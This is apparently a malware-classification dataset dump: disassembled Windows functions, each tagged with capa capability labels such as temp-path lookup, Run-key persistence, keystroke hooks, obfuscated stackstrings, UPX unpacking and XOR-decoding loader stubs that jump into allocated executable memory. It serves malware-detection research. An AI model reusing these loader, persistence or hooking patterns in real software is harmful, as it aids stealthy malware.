joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405a2c
Capabilities:
Get common file path

Disassembly:
mov eax, 0x40c1d3
call fcn.0040bc20
sub esp, 0x14
and dword [ebp - 0x20], 0
push ebx
push esi
push edi
lea ecx, [ebp - 0x10]
call fcn.004010a8
mov esi, 0x400
lea ecx, [ebp - 0x10]
push esi
mov dword [ebp - 4], 1
call fcn.00401908
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0xffffffffffffffff
lea ecx, [ebp - 0x10]
call fcn.00401984
push str.WinScan2PDF_Tmp_
lea ecx, [ebp - 0x14]
call fcn.0040114f
lea eax, [ebp - 0x14]
lea ecx, [ebp - 0x10]
push eax
mov byte [ebp - 4], 2
call fcn.004012b0
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 1
call fcn.004019e0
push esi
lea ecx, [ebp - 0x10]
call fcn.00401908
push eax
push 0x414e88
call fcn.0040239b
pop ecx
pop ecx
push 0xffffffffffffffff
lea ecx, [ebp - 0x10]
call fcn.00401984
mov esi, 0x41472c
lea ecx, [ebp - 0x10]
push esi
push 0x414e84
call fcn.004012fe
mov edi, 0x414e80
lea ecx, [ebp - 0x14]
push edi
call fcn.0040114f
lea eax, [ebp - 0x14]
lea ecx, [ebp - 0x10]
push eax
mov byte [ebp - 4], 3
call fcn.004012b0
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 1
call fcn.004019e0
push esi
mov ebx, 0x414e78
push ebx
lea ecx, [ebp - 0x10]
call fcn.004012fe
test eax, eax
je 0x405b0b
push esi
jmp 0x405afb
lea eax, [ebp - 0x10]
lea ecx, [ebp - 0x18]
push eax
call fcn.004010b4
push esi
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 4
call fcn.004014de
test eax, eax
jne 0x405b6b
push edi
lea ecx, [ebp - 0x14]
call fcn.0040114f
lea eax, [ebp - 0x18]
mov byte [ebp - 4], 5
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00404b6b
push eax
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 6
call fcn.004011e6
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 5
call fcn.004019e0
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 4
call fcn.004019e0
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x10]
push eax
call fcn.004010b4
mov dword [ebp - 0x20], 1
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 1
call fcn.004019e0
and byte [ebp - 4], 0
lea ecx, [ebp - 0x10]
call fcn.004019e0
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 4

Function at 0x405baa
Capabilities:
Create directory
Get file attributes

Disassembly:
mov eax, 0x40c1e8
call fcn.0040bc20
push ecx
lea eax, [ebp - 0x10]
push esi
mov esi, ecx
push eax
call fcn.00405a2c
and dword [ebp - 4], 0
add esi, 0x1020
push eax
mov ecx, esi
call fcn.004011e6
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.004019e0
push dword [esi]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
test al, 0x10
je 0x405bf0
cmp eax, 0xffffffff
jne 0x405c0e
mov eax, dword [esi]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x405c0e
push eax
push str.Create_Directory_error
push dword [esi]
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
mov ecx, dword [ebp - 0xc]
pop esi
mov dword fs:[0], ecx
leave
ret
Function at 0x4074a3
Capabilities:
Contain obfuscated stackstrings

Disassembly:
jne 0x4074ad
call fcn.00407059
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.004070a4
push eax
push esi
push dword [ebp + 8]
call fcn.00407059
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.00407094
mov esp, 0x886e033c
popfd
jl 0x407519
invalid
invalid
invalid

Function at 0x407cb9
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x512], 0xe3
and byte [ebp - 0x511], 0
mov byte [ebp - 0x510], 0x5b
mov byte [ebp - 0x50f], 0x79
mov byte [ebp - 0x50e], 0x68
mov byte [ebp - 0x50d], 0x5a
mov byte [ebp - 0x50c], 0x75
mov byte [ebp - 0x50b], 0x70
mov byte [ebp - 0x50a], 0x79
mov byte [ebp - 0x509], 0x4f
mov byte [ebp - 0x508], 0x75
mov byte [ebp - 0x507], 0x66
mov byte [ebp - 0x506], 0x79
mov byte [ebp - 0x505], 0x1c
lea eax, [ebp - 0x514]
push eax
call fcn.004070a4
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.00407059
add esp, 0xc
mov dword [ebp - 0x33c], eax
call fcn.00407094
cli
dec edi
clc
das
push 0x104
lea eax, [ebp - 0x334]
push eax
push dword [ebp + 8]
call dword [ebp - 0x538]
mov dword [ebp - 0x398], eax
mov byte [ebp - 0x544], 1
cmp dword [ebp - 0x398], 0
je 0x407d88
cmp dword [ebp - 0x398], 0
je 0x407f52
cmp dword [ebp + 0xc], 1
je 0x407f52
cmp dword [ebp + 0xc], 8
jne 0x407f1a
and byte [ebp - 0x6b8], 0
invalid
movsd dword es:[edi], dword [esi]
dec ecx
stc
Function at 0x408477
Capabilities:
Contain obfuscated stackstrings

Disassembly:
lea eax, [ecx + eax - 0x1d]
push eax
lea eax, [ebp - 0x394]
push eax
call fcn.00407005
add esp, 0xc
and dword [ebp - 0x700], 0
jmp 0x4084a1
mov eax, dword [ebp - 0x700]
inc eax
mov dword [ebp - 0x700], eax
cmp dword [ebp - 0x700], 5
jge 0x4084ea
mov eax, dword [ebp - 0x700]
movsx eax, byte [ebp + eax - 0x394]
movsx ecx, byte [ebp - 0x24]
xor eax, ecx
mov ecx, dword [ebp - 0x700]
mov byte [ebp + ecx - 0x394], al
mov eax, dword [ebp - 0x700]
movsx eax, byte [ebp + eax - 0x394]
not eax
mov ecx, dword [ebp - 0x700]
mov byte [ebp + ecx - 0x394], al
jmp 0x408494
call fcn.00407094
mov al, al
mov al, 0x29
and byte [ebp - 0x72c], 0
and byte [ebp - 0x72b], 0
mov byte [ebp - 0x72a], 0xc2
and byte [ebp - 0x729], 0
mov byte [ebp - 0x728], 0x6b
mov byte [ebp - 0x727], 0x54
mov byte [ebp - 0x726], 0x4f
mov byte [ebp - 0x725], 0x49
mov byte [ebp - 0x724], 0x48
mov byte [ebp - 0x723], 0x5c
mov byte [ebp - 0x722], 0x51
mov byte [ebp - 0x721], 0x6d
mov byte [ebp - 0x720], 0x4f
mov byte [ebp - 0x71f], 0x52
mov byte [ebp - 0x71e], 0x49
mov byte [ebp - 0x71d], 0x58
mov byte [ebp - 0x71c], 0x5e
mov byte [ebp - 0x71b], 0x49
mov byte [ebp - 0x71a], 0x3d
call fcn.00407094
sub eax, 0x8decfe35
test esp, edx
clc
invalid

Function at 0x4093c8
Capabilities:
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x800
mov eax, dword [0x425dac]
push esi
push edi
mov dword [ebp - 0x800], eax
mov ecx, 0x1ff
xor eax, eax
lea edi, [ebp - 0x7fc]
xor esi, esi
rep stosd dword es:[edi], eax
push esi
lea eax, [ebp - 0x800]
push 9
push eax
push esi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
push 5
push esi
lea eax, [ebp - 0x800]
push esi
push eax
push str.open
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
pop edi
pop esi
leave
ret
Function at 0x409985
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
mov eax, 0x40c5c4
call fcn.0040bc20
sub esp, 0x214
push ebx
push esi
xor esi, esi
push edi
mov ebx, ecx
mov dword [ebp - 0x10], esi
push 0x2001f
lea ecx, [ebp - 0x10]
push dword [ebp + 8]
mov dword [ebp - 4], esi
push dword [ebx]
call fcn.00409a7d
mov edi, eax
cmp edi, esi
je 0x4099cf
cmp dword [ebp - 0x10], esi
je 0x4099c8
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
jmp 0x409a6c
lea eax, [ebp - 0x20]
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
push eax
push esi
push esi
lea eax, [ebp - 0x14]
push esi
push eax
lea eax, [ebp - 0x220]
mov dword [ebp - 0x14], 0x100
push eax
push esi
push dword [ebp - 0x10]
call edi
test eax, eax
jne 0x409a40
lea eax, [ebp - 0x220]
lea ecx, [ebp - 0x10]
push eax
call fcn.00409985
cmp eax, esi
mov dword [ebp - 0x18], eax
jne 0x409a2d
lea eax, [ebp - 0x20]
mov dword [ebp - 0x14], 0x100
push eax
push esi
push esi
lea eax, [ebp - 0x14]
push esi
push eax
lea eax, [ebp - 0x220]
push eax
push esi
push dword [ebp - 0x10]
jmp 0x4099f2
cmp dword [ebp - 0x10], esi
je 0x409a3b
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x18]
jmp 0x409a6c
cmp dword [ebp - 0x10], esi
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
je 0x409a53
push dword [ebp - 0x10]
call edi
mov dword [ebp - 0x10], esi
push dword [ebp + 8]
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
cmp dword [ebp - 0x10], esi
mov ebx, eax
je 0x409a6a
push dword [ebp - 0x10]
call edi
mov eax, ebx
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 4

Function at 0x409c12
Capabilities:
Terminate thread

Disassembly:
push esi
mov esi, ecx
push 0
push 0
push dword [esi + 0x810]
mov dword [esi], 0x40d48c
push 7
push 2
push dword [esi + 0x81c]
call fcn.00409c77
mov esi, dword [esi + 8]
test esi, esi
je 0x409c47
push 0x444
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
pop esi
ret
Function at 0x409d04
Capabilities:
Find taskbar

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_FindWindowExW]
push edi
xor edi, edi
mov ebx, str.Shell_TrayWnd
push edi
push ebx
push edi
push edi
call esi
cmp eax, edi
je 0x409d41
push edi
push str.TrayNotifyWnd
push edi
push eax
call esi
cmp eax, edi
je 0x409d41
push dword [ebp + 8]
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
jmp 0x409e05
lea eax, [ebp - 0x24]
mov dword [ebp - 0x24], 0x24
push eax
push 5
call dword [sym.imp.SHELL32.dll_SHAppBarMessage]
test eax, eax
je 0x409da7
mov eax, dword [ebp - 0x18]
sub eax, edi
je 0x409d8b
dec eax
je 0x409d6c
dec eax
je 0x409d8b
dec eax
jne 0x409e05
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x10]
mov dword [eax + 4], ecx
mov ecx, dword [ebp - 8]
mov dword [eax + 0xc], ecx
mov ecx, dword [ebp - 0xc]
lea edx, [ecx - 0x64]
add ecx, 0xfffffff0
mov dword [eax], edx
mov dword [eax + 8], ecx
jmp 0x409e05
mov ecx, dword [ebp - 8]
mov eax, dword [ebp + 8]
lea edx, [ecx - 0x64]
add ecx, 0xfffffff0
mov dword [eax + 0xc], ecx
mov ecx, dword [ebp - 0x14]
mov dword [eax], ecx
mov ecx, dword [ebp - 0xc]
mov dword [eax + 4], edx
jmp 0x409d86
push edi
push ebx
push edi
push edi
call esi
cmp eax, edi
je 0x409de4
mov esi, dword [ebp + 8]
push esi
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
mov eax, dword [esi + 8]
mov ecx, eax
sub ecx, dword [esi]
cmp ecx, 0x96
jle 0x409dd2
add eax, 0xffffff6a
mov dword [esi], eax
mov eax, dword [esi + 0xc]
mov ecx, eax
sub ecx, dword [esi + 4]
cmp ecx, 0x1e
jle 0x409e05
add eax, 0xffffffe2
jmp 0x409e02
mov esi, dword [ebp + 8]
push edi
push esi
push edi
push 0x30
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
mov eax, dword [esi + 8]
sub eax, 0x96
mov dword [esi], eax
mov eax, dword [esi + 0xc]
sub eax, 0x1e
mov dword [esi + 4], eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x409e2e
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
cmp dword [ebp + 0xc], 0
je 0x409e6d
call fcn.00409e0a
test eax, eax
je 0x409e6d
lea eax, [ebp - 0x20]
push eax
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowRect]
lea eax, [ebp - 0x10]
push eax
call fcn.00409d04
pop ecx
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x20]
push eax
push 3
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_DrawAnimatedRects]
push 0
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_ShowWindow]
leave
ret 8
Function at 0x409f1a
Capabilities:
Create thread
Terminate thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push esi
push dword [ebp + 0x10]
mov esi, ecx
mov dword [esi + 0x810], eax
mov eax, dword [ebp + 0xc]
mov dword [esi + 0x80c], eax
lea eax, [esi + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ecx, esi
call fcn.00409e98
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x409f53
mov dword [esi + 0x814], eax
cmp dword [ebp + 0x18], 0
je 0x409f85
mov eax, dword [esi + 8]
test eax, eax
je 0x409f6c
push 0x444
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
lea eax, [esi + 4]
push eax
push 0
push esi
push 0x409f8d
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 8], eax
push 1
pop eax
pop esi
pop ebp
ret 0x14

Function at 0x40abd1
Capabilities:
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
mov ebx, ecx
push edi
push dword [ebx + 0x38]
call fcn.0040ab6e
pop ecx
push dword [ebx + 0x30]
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
je 0x40ad12
call dword [sym.imp.USER32.dll_GetActiveWindow]
cmp eax, dword [ebx + 0x30]
jne 0x40ad12
push dword [ebx + 0x24]
push dword [ebx + 0x38]
call dword [sym.imp.USER32.dll_GetSubMenu]
xor edi, edi
mov dword [ebp - 4], eax
cmp eax, edi
je 0x40ad12
push esi
push 1
pop esi
mov ecx, ebx
push esi
mov dword [ebx + 0x14], esi
push dword [ebx + 0x24]
call fcn.0040a870
lea eax, [ebp - 0x1c]
mov ecx, ebx
push eax
mov dword [ebp - 0x1c], edi
push dword [ebx + 0x24]
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x10], edi
call fcn.0040a840
mov eax, dword [ebp - 0x1c]
push esi
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x10]
mov esi, dword [sym.imp.USER32.dll_MapWindowPoints]
mov dword [ebp - 8], eax
lea eax, [ebp - 0xc]
push eax
push edi
push dword [ebx + 0x2c]
call esi
lea eax, [ebp - 0x1c]
push 2
push eax
push edi
push dword [ebx + 0x2c]
call esi
xor eax, eax
lea edi, [ebp - 0x2c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea esi, [ebp - 0x1c]
lea edi, [ebp - 0x2c]
mov dword [ebp - 0x30], 0x14
mov dword [0x426488], ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor esi, esi
push eax
push esi
push 0x40ad16
push 0xffffffffffffffff
call dword [sym.imp.USER32.dll_SetWindowsHookExW]
mov dword [0x42648c], eax
mov eax, dword [ebx + 0x24]
mov dword [ebx + 0x10], eax
lea eax, [ebp - 0x30]
push eax
push dword [ebx + 0x2c]
push dword [ebp - 8]
push dword [ebp - 0xc]
push 0x140
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_TrackPopupMenuEx]
cmp eax, esi
je 0x40ace7
push 0xaffe0000
push eax
push 0x111
push dword [ebx + 0x2c]
call dword [sym.imp.USER32.dll_SendMessageW]
or dword [ebx + 0x10], 0xffffffff
push esi
push dword [ebx + 0x24]
mov ecx, ebx
call fcn.0040a870
push dword [0x42648c]
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov dword [0x42648c], esi
mov dword [0x426488], esi
mov dword [ebx + 0x18], esi
pop esi
pop edi
pop ebx
leave
ret
Function at 0x40b756
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
or dword [ebp - 8], 0xffffffff
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
push esi
push edi
mov esi, ecx
push dword [ebp + 0x10]
xor edi, edi
call ebx
test eax, eax
jle 0x40b797
mov eax, dword [ebp + 0x10]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp word [eax], 9
je 0x40b794
push dword [ebp + 0x10]
add dword [ebp - 4], 2
inc edi
call ebx
cmp edi, eax
jl 0x40b77b
jmp 0x40b797
mov dword [ebp - 8], edi
push dword [ebp + 0x14]
push dword [ebp + 8]
call dword [sym.imp.GDI32.dll_SetTextColor]
cmp dword [esi + 0x48], 0
jne 0x40b7da
push str.NULL_n
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
push 6
push dword [ebp + 8]
call dword [sym.imp.GDI32.dll_GetCurrentObject]
test eax, eax
je 0x40b7da
lea ebx, [esi + 0x50]
push ebx
push 0x5c
push eax
call dword [sym.imp.GDI32.dll_GetObjectW]
push ebx
call dword [sym.imp.GDI32.dll_CreateFontIndirectW]
mov dword [esi + 0x48], eax
mov eax, dword [esi + 0x4cc]
mov ebx, 0x100000
neg eax
sbb eax, eax
mov edi, dword [sym.imp.USER32.dll_DrawTextW]
and eax, 0xfff00000
add eax, ebx
or al, 0x24
push eax
push dword [ebp + 0xc]
push dword [ebp - 8]
push dword [ebp + 0x10]
push dword [ebp + 8]
call edi
mov eax, dword [ebp - 8]
cmp eax, 0xffffffff
je 0x40b837
mov ecx, dword [esi + 0x4cc]
neg ecx
sbb ecx, ecx
and ecx, 0xfff00000
add ecx, ebx
or ecx, 0x26
push ecx
mov ecx, dword [ebp + 0x10]
push dword [ebp + 0xc]
lea eax, [ecx + eax*2 + 2]
push 0xffffffffffffffff
push eax
push dword [ebp + 8]
call edi
pop edi
pop esi
pop ebx
leave
ret 0x10

Function at 0x40ba2b
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
xor eax, eax
lea ecx, [ebp + 0x10]
cmp dword [ebp + 0x10], eax
push esi
push ecx
push 0x40d4d0
setne al
and dword [ebp + 0x10], 0
add eax, 0x80000001
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov esi, eax
test esi, esi
jne 0x40ba7f
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
push eax
push dword [ebp + 0xc]
push 1
push esi
push dword [ebp + 8]
push dword [ebp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp + 0x10]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
test esi, esi
sete al
pop esi
pop ebp
ret
Function at 0x4b8e60
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x76000]
push edi
jmp 0x4b8e7a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4b8e81
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b8e70
mov eax, 1
add ebx, ebx
jne 0x4b8e93
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4b8ea4
jne 0x4b8ec3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b8ec3
dec eax
add ebx, ebx
jne 0x4b8eb0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4b8e88
add ebx, ebx
jne 0x4b8ebf
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4b8f15
xor ecx, ecx
sub eax, 3
jb 0x4b8edb
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4b8f4a
sar eax, 1
mov ebp, eax
jmp 0x4b8ee6
add ebx, ebx
jne 0x4b8ee6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b8eb4
inc ecx
add ebx, ebx
jne 0x4b8ef4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b8eb4
add ebx, ebx
jne 0x4b8f01
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4b8ef6
jne 0x4b8f12
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4b8ef6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4b8f34
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4b8f26
jmp 0x4b8e76
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4b8f34
add edi, ecx
jmp 0x4b8e76
pop esi
mov edi, esi
mov ecx, 0x379b
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4b8f52
cmp byte [edi], 0x13
jne 0x4b8f52
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4b8f57
lea edi, [esi + 0xb4000]
mov eax, dword [edi]
or eax, eax
je 0x4b8fcf
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xc01a4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xc02f8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4b8f84
mov ecx, edi
jns 0x4b8fb3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xc02fc]
or eax, eax
je 0x4b8fc9
mov dword [ebx], eax
add ebx, 4
jmp 0x4b8fa1
call dword [esi + 0xc030c]
mov ebp, dword [esi + 0xc0300]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4b9003
sub esp, 0xffffff80
jmp 0x4165c1
Function at 0x2580f072
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x2580f081
pop dword [ebp - 0x10]
mov eax, 0xbf3ddb3d
add eax, 0x66431544
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x8fca7385
sub dword [ebp - 0x20], 0x41782e3a
mov dword [ebp - 0x1c], 0x2508ac5
sub dword [ebp - 0x1c], 0xd01d3e80
mov dword [ebp - 0x18], 0x3ce0e337
sub dword [ebp - 0x18], 0xf0949f09
mov dword [ebp - 0x14], 0x6c349ccd
add dword [ebp - 0x14], 0x93cb6333
lea eax, [ebp - 0x20]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x9f054463
add dword [ebp - 0x20], 0xd56d24f3
mov dword [ebp - 0x1c], 0xd759c817
add dword [ebp - 0x1c], 0x6a12995e
mov dword [ebp - 0x18], 0xae887270
sub dword [ebp - 0x18], 0x4b190604
mov dword [ebp - 0x14], 0x4194cd25
add dword [ebp - 0x14], 0xbe6b32db
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x3f253
push 0
call eax
mov ecx, 0xf4310c90
add ecx, 0xbcf45ea
xor esi, esi
add esi, eax
mov edx, 0xb7c20d14
sub edx, 0x923f7714
add edx, dword [ebp - 0x10]
mov edi, 0x9a66dba0
sub dword [ebp - 8], 0xcdc34843
mov ebx, dword [edx]
sub dword [ebp - 0xc], 0xb25e2d35
sub ebx, edi
xor dword [ebp - 8], 0x7dc026b1
mov dword [esi], ebx
add esi, 0x627c293f
sub esi, 0x627c293b
add edx, 0x31ec3479
add edx, 0xce13cb8b
loop 0x2580f195
add eax, 0x7162d090
sub eax, 0x716193d5
xor ebx, ebx
add ebx, eax
add eax, 0xa708081b
sub eax, 0xa7080816
mov ecx, 0x1371a0ad
add ecx, 0x120e5f53
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x100188b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x100188bf
pop dword [ebp - 0x48]
mov eax, 0x8d5df9b1
sub eax, 0x7d5c70f2
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0x7c2a0896
sub dword [ebp - 0x58], 0x2dd7c34b
mov dword [ebp - 0x54], 0xa7ba6ac4
sub dword [ebp - 0x54], 0x75871e7f
mov dword [ebp - 0x50], 0x43511712
sub dword [ebp - 0x50], 0xf704d2e4
mov dword [ebp - 0x4c], 0x6f16a166
add dword [ebp - 0x4c], 0x90e95e9a
lea eax, [ebp - 0x58]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0xe6239502
add dword [ebp - 0x58], 0x8e4ed454
mov dword [ebp - 0x54], 0x9e6ac5f8
sub dword [ebp - 0x54], 0x5cfe6483
mov dword [ebp - 0x50], 0x551f07ba
add dword [ebp - 0x50], 0xe5064b2
mov dword [ebp - 0x4c], 0xc3a05849
add dword [ebp - 0x4c], 0x3c5fa7b7
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x464cc
push 0
call eax
mov ecx, 0xea94e1cc
add ecx, 0x156b6c5c
xor edx, edx
add edx, eax
mov ebx, 0x10046400
add ebx, dword [ebp - 0x48]
mov esi, 0xaf15c0b7
sub dword [ebp - 0x28], 0x405d29a7
mov edi, dword [ebx]
add dword [ebp - 4], ebx
xor edi, esi
add dword [ebp - 0x38], ecx
mov dword [edx], edi
xor dword [ebp - 0xc], ebx
add edx, 4
add ebx, 0x1ac71bc7
sub ebx, 0x1ac71bc3
loop 0x100189cd
add eax, 0x12b73
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xa5c72a82
add ecx, 0x6a38d57e
add ecx, dword [ebp - 0x48]
call ebx
leave
ret

Function at 0x1001c1a4
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [0x1003d21c], 0
jne 0x1001c213
push ebx
call fcn.100188b0
xor ebx, ebx
mov byte [0x1003d21d], al
inc ebx
test al, al
jne 0x1001c20c
call fcn.10029ac0
cmp eax, 0x6b
jl 0x1001c20c
xor eax, eax
mov byte [ebp - 2], al
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov byte [ebp - 1], al
lea eax, [ebp - 1]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 2]
push eax
call fcn.100188b0
add esp, 0x10
test al, al
je 0x1001c20c
movzx eax, byte [0x1003d21d]
cmp byte [ebp - 1], 0
cmovne eax, ebx
mov byte [0x1003d21d], al
mov byte [0x1003d21c], bl
pop ebx
cmp byte [0x1003ce0b], 0
jne 0x1001c225
cmp byte [0x1003ce0a], 0
je 0x1001c25f
cmp byte [0x1003d21d], 0
mov ecx, str.FALSE
push esi
mov eax, str.TRUE
mov esi, 0x1003ce10
cmove eax, ecx
push eax
push str.IsRunningInAppContainer___s
push esi
call fcn.100188b0
add esp, 0xc
cmp byte [0x1003ce0a], 0
je 0x1001c25e
push esi
call dword [sym.imp.kernel32.dll_OutputDebugStringA]
pop esi
mov al, byte [0x1003d21d]
leave
ret